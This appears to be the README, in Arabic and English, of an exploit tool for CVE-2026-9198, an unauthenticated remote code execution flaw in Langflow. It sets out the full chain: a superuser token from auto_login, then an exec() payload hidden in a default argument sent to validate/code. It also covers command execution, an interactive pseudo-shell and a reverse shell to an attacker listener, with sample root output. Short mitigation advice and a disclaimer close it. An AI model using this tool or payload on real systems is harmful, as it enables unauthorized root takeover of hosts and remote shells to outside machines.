
استغلال لـ CVE-2026-9198، يحتوي على حمولات إثبات المفهوم وخطوات التحقق لتقييم الثغرة في البيئات المستهدفة.
تنفيذ تعليمات برمجية عن بُعد دون مصادقة في IBM Langflow OSS (1.0.0 – 1.10.0) على نشر افتراضي. يربط بين ثغرتين:
GET /api/v1/auto_login بإصدار رمز JWT بصلاحية SUPERUSER لأي
مُستدعٍ دون بيانات اعتماد متى كان AUTO_LOGIN مُفعّلًا (وهو الافتراضي في
Langflow < 1.5).POST /api/v1/validate/code شيفرة Python مُقدَّمة من المستخدم إلى
exec() دون أي عزل (sandbox).معًا (CVE-2026-9198) يحصل المهاجم غير المُصادَق على تنفيذ تعليمات برمجية بصفة
مستخدم خدمة Langflow — والذي غالبًا ما يكون root.
يطلب رمز حامل (bearer token) بصلاحية superuser من /api/v1/auto_login (دون مصادقة).
يُرسل حمولة (payload) إلى /api/v1/validate/code. تقوم نقطة النهاية بتنفيذ الشيفرة عبر exec()
«للتحقق» منها؛ ويقيّم Python قيم الوسائط الافتراضية وقت التعريف، لذا
تُغلَّف الحمولة داخل وسيط افتراضي لدالة:
def _v(a=exec('<payload>')): pass
لتنفيذ الأوامر، تُطلق الحمولة استثناءً تكون رسالته هي
مخرجات الأمر، والتي تعكسها نقطة النهاية في الاستجابة
(function.errors[]).
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install)AUTO_LOGIN مُفعّلًا (وهو الافتراضي في Langflow < 1.5؛ أما على
>= 1.5 فيجب أن يكون صراحةً LANGFLOW_AUTO_LOGIN=true). إذا لم يُعِد auto_login
أي رمز، فالهدف غير قابل للاستغلال عبر هذا المسار — مرّر رمزًا صالحًا باستخدام
-k إن كان لديك واحد.function.errors[]؛ ويُدمَج stderr
في stdout بحيث تُظهر الأوامر الفاشلة خطأها أيضًا.root (وهو شائع مع
تشغيل langflow run مباشرةً تحت systemd/Docker بصفة root)، فهذا يعني صلاحية root مباشرةً على المضيف.validate/code مدخلات
غير موثوقة عبر exec()، ويجب ألا يُصدر auto_login رموز superuser.LANGFLOW_AUTO_LOGIN=false وقم بتهيئة بيانات اعتماد superuser حقيقية.root أبدًا.يُنشر هذا المشروع لأغراض الاختبار الأمني المصرّح به والأغراض التعليمية فقط. لا تستخدمه ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا باختبارها. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام.